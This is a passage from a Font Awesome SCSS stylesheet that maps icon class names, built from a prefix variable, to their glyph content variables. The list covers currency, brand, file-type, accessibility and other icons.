.#{$fa-css-prefix}-toggle-down:before,
.#{$fa-css-prefix}-caret-square-o-down:before { content: $fa-var-caret-square-o-down; }
.#{$fa-css-prefix}-toggle-up:before,
.#{$fa-css-prefix}-caret-square-o-up:before { content: $fa-var-caret-square-o-up; }
.#{$fa-css-prefix}-toggle-right:before,
.#{$fa-css-prefix}-caret-square-o-right:before { content: $fa-var-caret-square-o-right; }
.#{$fa-css-prefix}-euro:before,
.#{$fa-css-prefix}-eur:before { content: $fa-var-eur; }
.#{$fa-css-prefix}-gbp:before { content: $fa-var-gbp; }
.#{$fa-css-prefix}-dollar:before,
.#{$fa-css-prefix}-usd:before { content: $fa-var-usd; }
.#{$fa-css-prefix}-rupee:before,
.#{$fa-css-prefix}-inr:before { content: $fa-var-inr; }
.#{$fa-css-prefix}-cny:before,
.#{$fa-css-prefix}-rmb:before,
.#{$fa-css-prefix}-yen:before,
.#{$fa-css-prefix}-jpy:before { content: $fa-var-jpy; }
.#{$fa-css-prefix}-ruble:before,
.#{$fa-css-prefix}-rouble:before,
.#{$fa-css-prefix}-rub:before { content: $fa-var-rub; }
.#{$fa-css-prefix}-won:before,
.#{$fa-css-prefix}-krw:before { content: $fa-var-krw; }
.#{$fa-css-prefix}-bitcoin:before,
.#{$fa-css-prefix}-btc:before { content: $fa-var-btc; }
.#{$fa-css-prefix}-file:before { content: $fa-var-file; }
.#{$fa-css-prefix}-file-text:before { content: $fa-var-file-text; }
.#{$fa-css-prefix}-sort-alpha-asc:before { content: $fa-var-sort-alpha-asc; }
.#{$fa-css-prefix}-sort-alpha-desc:before { content: $fa-var-sort-alpha-desc; }
.#{$fa-css-prefix}-sort-amount-asc:before { content: $fa-var-sort-amount-asc; }
.#{$fa-css-prefix}-sort-amount-desc:before { content: $fa-var-sort-amount-desc; }
.#{$fa-css-prefix}-sort-numeric-asc:before { content: $fa-var-sort-numeric-asc; }
.#{$fa-css-prefix}-sort-numeric-desc:before { content: $fa-var-sort-numeric-desc; }
.#{$fa-css-prefix}-thumbs-up:before { content: $fa-var-thumbs-up; }
.#{$fa-css-prefix}-thumbs-down:before { content: $fa-var-thumbs-down; }
.#{$fa-css-prefix}-youtube-square:before { content: $fa-var-youtube-square; }
.#{$fa-css-prefix}-youtube:before { content: $fa-var-youtube; }
.#{$fa-css-prefix}-xing:before { content: $fa-var-xing; }
.#{$fa-css-prefix}-xing-square:before { content: $fa-var-xing-square; }
.#{$fa-css-prefix}-youtube-play:before { content: $fa-var-youtube-play; }
.#{$fa-css-prefix}-dropbox:before { content: $fa-var-dropbox; }
.#{$fa-css-prefix}-stack-overflow:before { content: $fa-var-stack-overflow; }
.#{$fa-css-prefix}-instagram:before { content: $fa-var-instagram; }
.#{$fa-css-prefix}-flickr:before { content: $fa-var-flickr; }
.#{$fa-css-prefix}-adn:before { content: $fa-var-adn; }
.#{$fa-css-prefix}-bitbucket:before { content: $fa-var-bitbucket; }
.#{$fa-css-prefix}-bitbucket-square:before { content: $fa-var-bitbucket-square; }
.#{$fa-css-prefix}-tumblr:before { content: $fa-var-tumblr; }
.#{$fa-css-prefix}-tumblr-square:before { content: $fa-var-tumblr-square; }
.#{$fa-css-prefix}-long-arrow-down:before { content: $fa-var-long-arrow-down; }
.#{$fa-css-prefix}-long-arrow-up:before { content: $fa-var-long-arrow-up; }
.#{$fa-css-prefix}-long-arrow-left:before { content: $fa-var-long-arrow-left; }
.#{$fa-css-prefix}-long-arrow-right:before { content: $fa-var-long-arrow-right; }
.#{$fa-css-prefix}-apple:before { content: $fa-var-apple; }
.#{$fa-css-prefix}-windows:before { content: $fa-var-windows; }
.#{$fa-css-prefix}-android:before { content: $fa-var-android; }
.#{$fa-css-prefix}-linux:before { content: $fa-var-linux; }
.#{$fa-css-prefix}-dribbble:before { content: $fa-var-dribbble; }
.#{$fa-css-prefix}-skype:before { content: $fa-var-skype; }
.#{$fa-css-prefix}-foursquare:before { content: $fa-var-foursquare; }
.#{$fa-css-prefix}-trello:before { content: $fa-var-trello; }
.#{$fa-css-prefix}-female:before { content: $fa-var-female; }
.#{$fa-css-prefix}-male:before { content: $fa-var-male; }
.#{$fa-css-prefix}-gittip:before,
.#{$fa-css-prefix}-gratipay:before { content: $fa-var-gratipay; }
.#{$fa-css-prefix}-sun-o:before { content: $fa-var-sun-o; }
.#{$fa-css-prefix}-moon-o:before { content: $fa-var-moon-o; }
.#{$fa-css-prefix}-archive:before { content: $fa-var-archive; }
.#{$fa-css-prefix}-bug:before { content: $fa-var-bug; }
.#{$fa-css-prefix}-vk:before { content: $fa-var-vk; }
.#{$fa-css-prefix}-weibo:before { content: $fa-var-weibo; }
.#{$fa-css-prefix}-renren:before { content: $fa-var-renren; }
.#{$fa-css-prefix}-pagelines:before { content: $fa-var-pagelines; }
.#{$fa-css-prefix}-stack-exchange:before { content: $fa-var-stack-exchange; }
.#{$fa-css-prefix}-arrow-circle-o-right:before { content: $fa-var-arrow-circle-o-right; }
.#{$fa-css-prefix}-arrow-circle-o-left:before { content: $fa-var-arrow-circle-o-left; }
.#{$fa-css-prefix}-toggle-left:before,
.#{$fa-css-prefix}-caret-square-o-left:before { content: $fa-var-caret-square-o-left; }
.#{$fa-css-prefix}-dot-circle-o:before { content: $fa-var-dot-circle-o; }
.#{$fa-css-prefix}-wheelchair:before { content: $fa-var-wheelchair; }
.#{$fa-css-prefix}-vimeo-square:before { content: $fa-var-vimeo-square; }
.#{$fa-css-prefix}-turkish-lira:before,
.#{$fa-css-prefix}-try:before { content: $fa-var-try; }
.#{$fa-css-prefix}-plus-square-o:before { content: $fa-var-plus-square-o; }
.#{$fa-css-prefix}-space-shuttle:before { content: $fa-var-space-shuttle; }
.#{$fa-css-prefix}-slack:before { content: $fa-var-slack; }
.#{$fa-css-prefix}-envelope-square:before { content: $fa-var-envelope-square; }
.#{$fa-css-prefix}-wordpress:before { content: $fa-var-wordpress; }
.#{$fa-css-prefix}-openid:before { content: $fa-var-openid; }
.#{$fa-css-prefix}-institution:before,
.#{$fa-css-prefix}-bank:before,
.#{$fa-css-prefix}-university:before { content: $fa-var-university; }
.#{$fa-css-prefix}-mortar-board:before,
.#{$fa-css-prefix}-graduation-cap:before { content: $fa-var-graduation-cap; }
.#{$fa-css-prefix}-yahoo:before { content: $fa-var-yahoo; }
.#{$fa-css-prefix}-google:before { content: $fa-var-google; }
.#{$fa-css-prefix}-reddit:before { content: $fa-var-reddit; }
.#{$fa-css-prefix}-reddit-square:before { content: $fa-var-reddit-square; }
.#{$fa-css-prefix}-stumbleupon-circle:before { content: $fa-var-stumbleupon-circle; }
.#{$fa-css-prefix}-stumbleupon:before { content: $fa-var-stumbleupon; }
.#{$fa-css-prefix}-delicious:before { content: $fa-var-delicious; }
.#{$fa-css-prefix}-digg:before { content: $fa-var-digg; }
.#{$fa-css-prefix}-pied-piper-pp:before { content: $fa-var-pied-piper-pp; }
.#{$fa-css-prefix}-pied-piper-alt:before { content: $fa-var-pied-piper-alt; }
.#{$fa-css-prefix}-drupal:before { content: $fa-var-drupal; }
.#{$fa-css-prefix}-joomla:before { content: $fa-var-joomla; }
.#{$fa-css-prefix}-language:before { content: $fa-var-language; }
.#{$fa-css-prefix}-fax:before { content: $fa-var-fax; }
.#{$fa-css-prefix}-building:before { content: $fa-var-building; }
.#{$fa-css-prefix}-child:before { content: $fa-var-child; }
.#{$fa-css-prefix}-paw:before { content: $fa-var-paw; }
.#{$fa-css-prefix}-spoon:before { content: $fa-var-spoon; }
.#{$fa-css-prefix}-cube:before { content: $fa-var-cube; }
.#{$fa-css-prefix}-cubes:before { content: $fa-var-cubes; }
.#{$fa-css-prefix}-behance:before { content: $fa-var-behance; }
.#{$fa-css-prefix}-behance-square:before { content: $fa-var-behance-square; }
.#{$fa-css-prefix}-steam:before { content: $fa-var-steam; }
.#{$fa-css-prefix}-steam-square:before { content: $fa-var-steam-square; }
.#{$fa-css-prefix}-recycle:before { content: $fa-var-recycle; }
.#{$fa-css-prefix}-automobile:before,
.#{$fa-css-prefix}-car:before { content: $fa-var-car; }
.#{$fa-css-prefix}-cab:before,
.#{$fa-css-prefix}-taxi:before { content: $fa-var-taxi; }
.#{$fa-css-prefix}-tree:before { content: $fa-var-tree; }
.#{$fa-css-prefix}-spotify:before { content: $fa-var-spotify; }
.#{$fa-css-prefix}-deviantart:before { content: $fa-var-deviantart; }
.#{$fa-css-prefix}-soundcloud:before { content: $fa-var-soundcloud; }
.#{$fa-css-prefix}-database:before { content: $fa-var-database; }
.#{$fa-css-prefix}-file-pdf-o:before { content: $fa-var-file-pdf-o; }
.#{$fa-css-prefix}-file-word-o:before { content: $fa-var-file-word-o; }
.#{$fa-css-prefix}-file-excel-o:before { content: $fa-var-file-excel-o; }
.#{$fa-css-prefix}-file-powerpoint-o:before { content: $fa-var-file-powerpoint-o; }
.#{$fa-css-prefix}-file-photo-o:before,
.#{$fa-css-prefix}-file-picture-o:before,
.#{$fa-css-prefix}-file-image-o:before { content: $fa-var-file-image-o; }
.#{$fa-css-prefix}-file-zip-o:before,
.#{$fa-css-prefix}-file-archive-o:before { content: $fa-var-file-archive-o; }
.#{$fa-css-prefix}-file-sound-o:before,
.#{$fa-css-prefix}-file-audio-o:before { content: $fa-var-file-audio-o; }
.#{$fa-css-prefix}-file-movie-o:before,
.#{$fa-css-prefix}-file-video-o:before { content: $fa-var-file-video-o; }
.#{$fa-css-prefix}-file-code-o:before { content: $fa-var-file-code-o; }
.#{$fa-css-prefix}-vine:before { content: $fa-var-vine; }
.#{$fa-css-prefix}-codepen:before { content: $fa-var-codepen; }
.#{$fa-css-prefix}-jsfiddle:before { content: $fa-var-jsfiddle; }
.#{$fa-css-prefix}-life-bouy:before,
.#{$fa-css-prefix}-life-buoy:before,
.#{$fa-css-prefix}-life-saver:before,
.#{$fa-css-prefix}-support:before,
.#{$fa-css-prefix}-life-ring:before { content: $fa-var-life-ring; }
.#{$fa-css-prefix}-circle-o-notch:before { content: $fa-var-circle-o-notch; }
.#{$fa-css-prefix}-ra:before,
.#{$fa-css-prefix}-resistance:before,
.#{$fa-css-prefix}-rebel:before { content: $fa-var-rebel; }
.#{$fa-css-prefix}-ge:before,
.#{$fa-css-prefix}-empire:before { content: $fa-var-empire; }
.#{$fa-css-prefix}-git-square:before { content: $fa-var-git-square; }
.#{$fa-css-prefix}-git:before { content: $fa-var-git; }
.#{$fa-css-prefix}-y-combinator-square:before,
.#{$fa-css-prefix}-yc-square:before,
.#{$fa-css-prefix}-hacker-news:before { content: $fa-var-hacker-news; }
.#{$fa-css-prefix}-tencent-weibo:before { content: $fa-var-tencent-weibo; }
.#{$fa-css-prefix}-qq:before { content: $fa-var-qq; }
.#{$fa-css-prefix}-wechat:before,
.#{$fa-css-prefix}-weixin:before { content: $fa-var-weixin; }
.#{$fa-css-prefix}-send:before,
.#{$fa-css-prefix}-paper-plane:before { content: $fa-var-paper-plane; }
.#{$fa-css-prefix}-send-o:before,
.#{$fa-css-prefix}-paper-plane-o:before { content: $fa-var-paper-plane-o; }
.#{$fa-css-prefix}-history:before { content: $fa-var-history; }
.#{$fa-css-prefix}-circle-thin:before { content: $fa-var-circle-thin; }
.#{$fa-css-prefix}-header:before { content: $fa-var-header; }
.#{$fa-css-prefix}-paragraph:before { content: $fa-var-paragraph; }
.#{$fa-css-prefix}-sliders:before { content: $fa-var-sliders; }
.#{$fa-css-prefix}-share-alt:before { content: $fa-var-share-alt; }
.#{$fa-css-prefix}-share-alt-square:before { content: $fa-var-share-alt-square; }
.#{$fa-css-prefix}-bomb:before { content: $fa-var-bomb; }
.#{$fa-css-prefix}-soccer-ball-o:before,
.#{$fa-css-prefix}-futbol-o:before { content: $fa-var-futbol-o; }
.#{$fa-css-prefix}-tty:before { content: $fa-var-tty; }
.#{$fa-css-prefix}-binoculars:before { content: $fa-var-binoculars; }
.#{$fa-css-prefix}-plug:before { content: $fa-var-plug; }
.#{$fa-css-prefix}-slideshare:before { content: $fa-var-slideshare; }
.#{$fa-css-prefix}-twitch:before { content: $fa-var-twitch; }
.#{$fa-css-prefix}-yelp:before { content: $fa-var-yelp; }
.#{$fa-css-prefix}-newspaper-o:before { content: $fa-var-newspaper-o; }
.#{$fa-css-prefix}-wifi:before { content: $fa-var-wifi; }
.#{$fa-css-prefix}-calculator:before { content: $fa-var-calculator; }
.#{$fa-css-prefix}-paypal:before { content: $fa-var-paypal; }
.#{$fa-css-prefix}-google-wallet:before { content: $fa-var-google-wallet; }
.#{$fa-css-prefix}-cc-visa:before { content: $fa-var-cc-visa; }
.#{$fa-css-prefix}-cc-mastercard:before { content: $fa-var-cc-mastercard; }
.#{$fa-css-prefix}-cc-discover:before { content: $fa-var-cc-discover; }
.#{$fa-css-prefix}-cc-amex:before { content: $fa-var-cc-amex; }
.#{$fa-css-prefix}-cc-paypal:before { content: $fa-var-cc-paypal; }
.#{$fa-css-prefix}-cc-stripe:before { content: $fa-var-cc-stripe; }
.#{$fa-css-prefix}-bell-slash:before { content: $fa-var-bell-slash; }
.#{$fa-css-prefix}-bell-slash-o:before { content: $fa-var-bell-slash-o; }
.#{$fa-css-prefix}-trash:before { content: $fa-var-trash; }
.#{$fa-css-prefix}-copyright:before { content: $fa-var-copyright; }
.#{$fa-css-prefix}-at:before { content: $fa-var-at; }
.#{$fa-css-prefix}-eyedropper:before { content: $fa-var-eyedropper; }
.#{$fa-css-prefix}-paint-brush:before { content: $fa-var-paint-brush; }
.#{$fa-css-prefix}-birthday-cake:before { content: $fa-var-birthday-cake; }
.#{$fa-css-prefix}-area-chart:before { content: $fa-var-area-chart; }
.#{$fa-css-prefix}-pie-chart:before { content: $fa-var-pie-chart; }
.#{$fa-css-prefix}-line-chart:before { content: $fa-var-line-chart; }
.#{$fa-css-prefix}-lastfm:before { content: $fa-var-lastfm; }
.#{$fa-css-prefix}-lastfm-square:before { content: $fa-var-lastfm-square; }
.#{$fa-css-prefix}-toggle-off:before { content: $fa-var-toggle-off; }
.#{$fa-css-prefix}-toggle-on:before { content: $fa-var-toggle-on; }
.#{$fa-css-prefix}-bicycle:before { content: $fa-var-bicycle; }
.#{$fa-css-prefix}-bus:before { content: $fa-var-bus; }
.#{$fa-css-prefix}-ioxhost:before { content: $fa-var-ioxhost; }
.#{$fa-css-prefix}-angellist:before { content: $fa-var-angellist; }
.#{$fa-css-prefix}-cc:before { content: $fa-var-cc; }
.#{$fa-css-prefix}-shekel:before,
.#{$fa-css-prefix}-sheqel:before,
.#{$fa-css-prefix}-ils:before { content: $fa-var-ils; }
.#{$fa-css-prefix}-meanpath:before { content: $fa-var-meanpath; }
.#{$fa-css-prefix}-buysellads:before { content: $fa-var-buysellads; }
.#{$fa-css-prefix}-connectdevelop:before { content: $fa-var-connectdevelop; }
.#{$fa-css-prefix}-dashcube:before { content: $fa-var-dashcube; }
.#{$fa-css-prefix}-forumbee:before { content: $fa-var-forumbee; }
.#{$fa-css-prefix}-leanpub:before { content: $fa-var-leanpub; }
.#{$fa-css-prefix}-sellsy:before { content: $fa-var-sellsy; }
.#{$fa-css-prefix}-shirtsinbulk:before { content: $fa-var-shirtsinbulk; }
.#{$fa-css-prefix}-simplybuilt:before { content: $fa-var-simplybuilt; }
.#{$fa-css-prefix}-skyatlas:before { content: $fa-var-skyatlas; }
.#{$fa-css-prefix}-cart-plus:before { content: $fa-var-cart-plus; }
.#{$fa-css-prefix}-cart-arrow-down:before { content: $fa-var-cart-arrow-down; }
.#{$fa-css-prefix}-diamond:before { content: $fa-var-diamond; }
.#{$fa-css-prefix}-ship:before { content: $fa-var-ship; }
.#{$fa-css-prefix}-user-secret:before { content: $fa-var-user-secret; }
.#{$fa-css-prefix}-motorcycle:before { content: $fa-var-motorcycle; }
.#{$fa-css-prefix}-street-view:before { content: $fa-var-street-view; }
.#{$fa-css-prefix}-heartbeat:before { content: $fa-var-heartbeat; }
.#{$fa-css-prefix}-venus:before { content: $fa-var-venus; }
.#{$fa-css-prefix}-mars:before { content: $fa-var-mars; }
.#{$fa-css-prefix}-mercury:before { content: $fa-var-mercury; }
.#{$fa-css-prefix}-intersex:before,
.#{$fa-css-prefix}-transgender:before { content: $fa-var-transgender; }
.#{$fa-css-prefix}-transgender-alt:before { content: $fa-var-transgender-alt; }
.#{$fa-css-prefix}-venus-double:before { content: $fa-var-venus-double; }
.#{$fa-css-prefix}-mars-double:before { content: $fa-var-mars-double; }
.#{$fa-css-prefix}-venus-mars:before { content: $fa-var-venus-mars; }
.#{$fa-css-prefix}-mars-stroke:before { content: $fa-var-mars-stroke; }
.#{$fa-css-prefix}-mars-stroke-v:before { content: $fa-var-mars-stroke-v; }
.#{$fa-css-prefix}-mars-stroke-h:before { content: $fa-var-mars-stroke-h; }
.#{$fa-css-prefix}-neuter:before { content: $fa-var-neuter; }
.#{$fa-css-prefix}-genderless:before { content: $fa-var-genderless; }
.#{$fa-css-prefix}-facebook-official:before { content: $fa-var-facebook-official; }
.#{$fa-css-prefix}-pinterest-p:before { content: $fa-var-pinterest-p; }
.#{$fa-css-prefix}-whatsapp:before { content: $fa-var-whatsapp; }
.#{$fa-css-prefix}-server:before { content: $fa-var-server; }
.#{$fa-css-prefix}-user-plus:before { content: $fa-var-user-plus; }
.#{$fa-css-prefix}-user-times:before { content: $fa-var-user-times; }
.#{$fa-css-prefix}-hotel:before,
.#{$fa-css-prefix}-bed:before { content: $fa-var-bed; }
.#{$fa-css-prefix}-viacoin:before { content: $fa-var-viacoin; }
.#{$fa-css-prefix}-train:before { content: $fa-var-train; }
.#{$fa-css-prefix}-subway:before { content: $fa-var-subway; }
.#{$fa-css-prefix}-medium:before { content: $fa-var-medium; }
.#{$fa-css-prefix}-yc:before,
.#{$fa-css-prefix}-y-combinator:before { content: $fa-var-y-combinator; }
.#{$fa-css-prefix}-optin-monster:before { content: $fa-var-optin-monster; }
.#{$fa-css-prefix}-opencart:before { content: $fa-var-opencart; }
.#{$fa-css-prefix}-expeditedssl:before { content: $fa-var-expeditedssl; }
.#{$fa-css-prefix}-battery-4:before,
.#{$fa-css-prefix}-battery:before,
.#{$fa-css-prefix}-battery-full:before { content: $fa-var-battery-full; }
.#{$fa-css-prefix}-battery-3:before,
.#{$fa-css-prefix}-battery-three-quarters:before { content: $fa-var-battery-three-quarters; }
.#{$fa-css-prefix}-battery-2:before,
.#{$fa-css-prefix}-battery-half:before { content: $fa-var-battery-half; }
.#{$fa-css-prefix}-battery-1:before,
.#{$fa-css-prefix}-battery-quarter:before { content: $fa-var-battery-quarter; }
.#{$fa-css-prefix}-battery-0:before,
.#{$fa-css-prefix}-battery-empty:before { content: $fa-var-battery-empty; }
.#{$fa-css-prefix}-mouse-pointer:before { content: $fa-var-mouse-pointer; }
.#{$fa-css-prefix}-i-cursor:before { content: $fa-var-i-cursor; }
.#{$fa-css-prefix}-object-group:before { content: $fa-var-object-group; }
.#{$fa-css-prefix}-object-ungroup:before { content: $fa-var-object-ungroup; }
.#{$fa-css-prefix}-sticky-note:before { content: $fa-var-sticky-note; }
.#{$fa-css-prefix}-sticky-note-o:before { content: $fa-var-sticky-note-o; }
.#{$fa-css-prefix}-cc-jcb:before { content: $fa-var-cc-jcb; }
.#{$fa-css-prefix}-cc-diners-club:before { content: $fa-var-cc-diners-club; }
.#{$fa-css-prefix}-clone:before { content: $fa-var-clone; }
.#{$fa-css-prefix}-balance-scale:before { content: $fa-var-balance-scale; }
.#{$fa-css-prefix}-hourglass-o:before { content: $fa-var-hourglass-o; }
.#{$fa-css-prefix}-hourglass-1:before,
.#{$fa-css-prefix}-hourglass-start:before { content: $fa-var-hourglass-start; }
.#{$fa-css-prefix}-hourglass-2:before,
.#{$fa-css-prefix}-hourglass-half:before { content: $fa-var-hourglass-half; }
.#{$fa-css-prefix}-hourglass-3:before,
.#{$fa-css-prefix}-hourglass-end:before { content: $fa-var-hourglass-end; }
.#{$fa-css-prefix}-hourglass:before { content: $fa-var-hourglass; }
.#{$fa-css-prefix}-hand-grab-o:before,
.#{$fa-css-prefix}-hand-rock-o:before { content: $fa-var-hand-rock-o; }
.#{$fa-css-prefix}-hand-stop-o:before,
.#{$fa-css-prefix}-hand-paper-o:before { content: $fa-var-hand-paper-o; }
.#{$fa-css-prefix}-hand-scissors-o:before { content: $fa-var-hand-scissors-o; }
.#{$fa-css-prefix}-hand-lizard-o:before { content: $fa-var-hand-lizard-o; }
.#{$fa-css-prefix}-hand-spock-o:before { content: $fa-var-hand-spock-o; }
.#{$fa-css-prefix}-hand-pointer-o:before { content: $fa-var-hand-pointer-o; }
.#{$fa-css-prefix}-hand-peace-o:before { content: $fa-var-hand-peace-o; }
.#{$fa-css-prefix}-trademark:before { content: $fa-var-trademark; }
.#{$fa-css-prefix}-registered:before { content: $fa-var-registered; }
.#{$fa-css-prefix}-creative-commons:before { content: $fa-var-creative-commons; }
.#{$fa-css-prefix}-gg:before { content: $fa-var-gg; }
.#{$fa-css-prefix}-gg-circle:before { content: $fa-var-gg-circle; }
.#{$fa-css-prefix}-tripadvisor:before { content: $fa-var-tripadvisor; }
.#{$fa-css-prefix}-odnoklassniki:before { content: $fa-var-odnoklassniki; }
.#{$fa-css-prefix}-odnoklassniki-square:before { content: $fa-var-odnoklassniki-square; }
.#{$fa-css-prefix}-get-pocket:before { content: $fa-var-get-pocket; }
.#{$fa-css-prefix}-wikipedia-w:before { content: $fa-var-wikipedia-w; }
.#{$fa-css-prefix}-safari:before { content: $fa-var-safari; }
.#{$fa-css-prefix}-chrome:before { content: $fa-var-chrome; }
.#{$fa-css-prefix}-firefox:before { content: $fa-var-firefox; }
.#{$fa-css-prefix}-opera:before { content: $fa-var-opera; }
.#{$fa-css-prefix}-internet-explorer:before { content: $fa-var-internet-explorer; }
.#{$fa-css-prefix}-tv:before,
.#{$fa-css-prefix}-television:before { content: $fa-var-television; }
.#{$fa-css-prefix}-contao:before { content: $fa-var-contao; }
.#{$fa-css-prefix}-500px:before { content: $fa-var-500px; }
.#{$fa-css-prefix}-amazon:before { content: $fa-var-amazon; }
.#{$fa-css-prefix}-calendar-plus-o:before { content: $fa-var-calendar-plus-o; }
.#{$fa-css-prefix}-calendar-minus-o:before { content: $fa-var-calendar-minus-o; }
.#{$fa-css-prefix}-calendar-times-o:before { content: $fa-var-calendar-times-o; }
.#{$fa-css-prefix}-calendar-check-o:before { content: $fa-var-calendar-check-o; }
.#{$fa-css-prefix}-industry:before { content: $fa-var-industry; }
.#{$fa-css-prefix}-map-pin:before { content: $fa-var-map-pin; }
.#{$fa-css-prefix}-map-signs:before { content: $fa-var-map-signs; }
.#{$fa-css-prefix}-map-o:before { content: $fa-var-map-o; }
.#{$fa-css-prefix}-map:before { content: $fa-var-map; }
.#{$fa-css-prefix}-commenting:before { content: $fa-var-commenting; }
.#{$fa-css-prefix}-commenting-o:before { content: $fa-var-commenting-o; }
.#{$fa-css-prefix}-houzz:before { content: $fa-var-houzz; }
.#{$fa-css-prefix}-vimeo:before { content: $fa-var-vimeo; }
.#{$fa-css-prefix}-black-tie:before { content: $fa-var-black-tie; }
.#{$fa-css-prefix}-fonticons:before { content: $fa-var-fonticons; }
.#{$fa-css-prefix}-reddit-alien:before { content: $fa-var-reddit-alien; }
.#{$fa-css-prefix}-edge:before { content: $fa-var-edge; }
.#{$fa-css-prefix}-credit-card-alt:before { content: $fa-var-credit-card-alt; }
.#{$fa-css-prefix}-codiepie:before { content: $fa-var-codiepie; }
.#{$fa-css-prefix}-modx:before { content: $fa-var-modx; }
.#{$fa-css-prefix}-fort-awesome:before { content: $fa-var-fort-awesome; }
.#{$fa-css-prefix}-usb:before { content: $fa-var-usb; }
.#{$fa-css-prefix}-product-hunt:before { content: $fa-var-product-hunt; }
.#{$fa-css-prefix}-mixcloud:before { content: $fa-var-mixcloud; }
.#{$fa-css-prefix}-scribd:before { content: $fa-var-scribd; }
.#{$fa-css-prefix}-pause-circle:before { content: $fa-var-pause-circle; }
.#{$fa-css-prefix}-pause-circle-o:before { content: $fa-var-pause-circle-o; }
.#{$fa-css-prefix}-stop-circle:before { content: $fa-var-stop-circle; }
.#{$fa-css-prefix}-stop-circle-o:before { content: $fa-var-stop-circle-o; }
.#{$fa-css-prefix}-shopping-bag:before { content: $fa-var-shopping-bag; }
.#{$fa-css-prefix}-shopping-basket:before { content: $fa-var-shopping-basket; }
.#{$fa-css-prefix}-hashtag:before { content: $fa-var-hashtag; }
.#{$fa-css-prefix}-bluetooth:before { content: $fa-var-bluetooth; }
.#{$fa-css-prefix}-bluetooth-b:before { content: $fa-var-bluetooth-b; }
.#{$fa-css-prefix}-percent:before { content: $fa-var-percent; }
.#{$fa-css-prefix}-gitlab:before { content: $fa-var-gitlab; }
.#{$fa-css-prefix}-wpbeginner:before { content: $fa-var-wpbeginner; }
.#{$fa-css-prefix}-wpforms:before { content: $fa-var-wpforms; }
.#{$fa-css-prefix}-envira:before { content: $fa-var-envira; }
.#{$fa-css-prefix}-universal-access:before { content: $fa-var-universal-access; }
.#{$fa-css-prefix}-wheelchair-alt:before { content: $fa-var-wheelchair-alt; }
.#{$fa-css-prefix}-question-circle-o:before { content: $fa-var-question-circle-o; }
.#{$fa-css-prefix}-blind:before { content: $fa-var-blind; }
.#{$fa-css-prefix}-audio-description:before { content: $fa-var-audio-description; }
.#{$fa-css-prefix}-volume-control-phone:before { content: $fa-var-volume-control-phone; }
.#{$fa-css-prefix}-braille:before { content: $fa-var-braille; }
.#{$fa-css-prefix}-assistive-listening-systems:before { content: $fa-var-assistive-listening-systems; }
.#{$fa-css-prefix}-asl-interpreting:before,
.#{$fa-css-prefix}-american-sign-language-interpreting:before { content: $fa-var-american-sign-language-interpreting; }
.#{$fa-css-prefix}-deafness:before,
.#{$fa-css-prefix}-hard-of-hearing:before,
.#{$fa-css-prefix}-deaf:before { content: $fa-var-deaf; }
.#{$fa-css-prefix}-glide:before { content: $fa-var-glide; }
.#{$fa-css-prefix}-glide-g:before { content: $fa-var-glide-g; }
.#{$fa-css-prefix}-signing:before,
.#{$fa-css-prefix}-sign-language:before { content: $fa-var-sign-language; }
.#{$fa-css-prefix}-low-vision:before { content: $fa-var-low-vision; }
.#{$fa-css-prefix}-viadeo:before { content: $fa-var-viadeo; }
.#{$fa-css-prefix}-viadeo-square:before { content: $fa-var-viadeo-square; }
.#{$fa-css-prefix}-snapchat:before { content: $fa-var-snapchat; }
.#{$fa-css-prefix}-snapchat-ghost:before { content: $fa-var-snapchat-ghost; }
.#{$fa-css-prefix}-snapchat-square:before { content: $fa-var-snapchat-square; }
.#{$fa-css-prefix}-pied-piper:before { content: $fa-var-pied-piper; }
.#{$fa-css-prefix}-first-order:before { content: $fa-var-first-order; }
.#{$fa-css-prefix}-yoast:before { content: $fa-var-yoast; }
.#{$fa-css-prefix}-themeisle:before { content: $fa-var-themeisle; }
.#{$fa-css-prefix}-google-plus-circle:before,
.#{$fa-css-prefix}-google-plus-official:before { content: $fa-var-google-plus-official; }
.#{$fa-css-prefix}-fa:before,
.#{$fa-css-prefix}-font-awesome:before { content: $fa-var-font-awesome; }
.#{$fa-css-prefix}-handshake-o:before { content: $fa-var-handshake-o; }
.#{$fa-css-prefix}-envelope-open:before { content: $fa-var-envelope-open; }
.#{$fa-css-prefix}-envelope-open-o:before { content: $fa-var-envelope-open-o; }
.#{$fa-css-prefix}-linode:before { content: $fa-var-linode; }
.#{$fa-css-prefix}-address-book:before { content: $fa-var-address-book; }
.#{$fa-css-prefix}-address-book-o:before { content: $fa-var-address-book-o; }
.#{$fa-css-prefix}-vcard:before,
.#{$fa-css-prefix}-address-card:before { content: $fa-var-address-card; }
.#{$fa-css-prefix}-vcard-o:before,
.#{$fa-css-prefix}-address-card-o:before { content: $fa-var-address-card-o; }
.#{$fa-css-prefix}-user-circle:before { content: $fa-var-user-circle; }
.#{$fa-css-prefix}-user-circle-o:before { content: $fa-var-user-circle-o; }
.#{$fa-css-prefix}-user-o:before { content: $fa-var-user-o; }
.#{$fa-css-prefix}-id-badge:before { content: $fa-var-id-badge; }
.#{$fa-css-prefix}-drivers-license:before,
.#{$fa-css-prefix}-id-card:before { content: $fa-var-id-card; }
.#{$fa-css-prefix}-drivers-license-o:before,
.#{$fa-css-prefix}-id-card-o:before { content: $fa-var-id-card-o; }
.#{$fa-css-prefix}-quora:before { content: $fa-var-quora; }
.#{$fa-css-prefix}-free-code-camp:before { content: $fa-var-free-code-camp; }
.#{$fa-css-prefix}-telegram:before { content: $fa-var-telegram; }
.#{$fa-css-prefix}-thermometer-4:before,
.#{$fa-css-prefix}-thermometer:before,
.#{$fa-css-prefix}-thermometer-full:before { content: $fa-var-thermometer-full; }
.#{$fa-css-prefix}-thermometer-3:before,
.#{$fa-css-prefix}-thermometer-three-quarters:before { content: $fa-var-thermometer-three-quarters; }
.#{$fa-css-prefix}-thermometer-2:before,
.#{$fa-css-prefix}-thermometer-half:before { content: $fa-var-thermometer-half; }
.#{$fa-css-prefix}-thermometer-1:before,
.#{$fa-css-prefix}-thermometer-quarter:before { content: $fa-var-thermometer-quarter; }
.#{$fa-css-prefix}-thermometer-0:before,
.#{$fa-css-prefix}-thermometer-empty:before { content: $fa-var-thermometer-empty; }
.#{$fa-css-prefix}-shower:before { content: $fa-var-shower; }
.#{$fa-css-prefix}-bathtub:before,
.#{$fa-css-prefix}-s15:before,
.#{$fa-css-prefix}-bath:before { content: $fa-var-bath; }
.#{$fa-css-prefix}-podcast:before { content: $fa-var-podcast; }
.#{$fa-css-prefix}-window-maximize:before { content: $fa-var-window-maximize; }
.#{$fa-css-prefix}-window-minimize:before { content: $fa-var-window-minimize; }
.#{$fa-css-prefix}-window-restore:before { content: $fa-var-window-restore; }
.#{$fa-css-prefix}-times-rectangle:before,
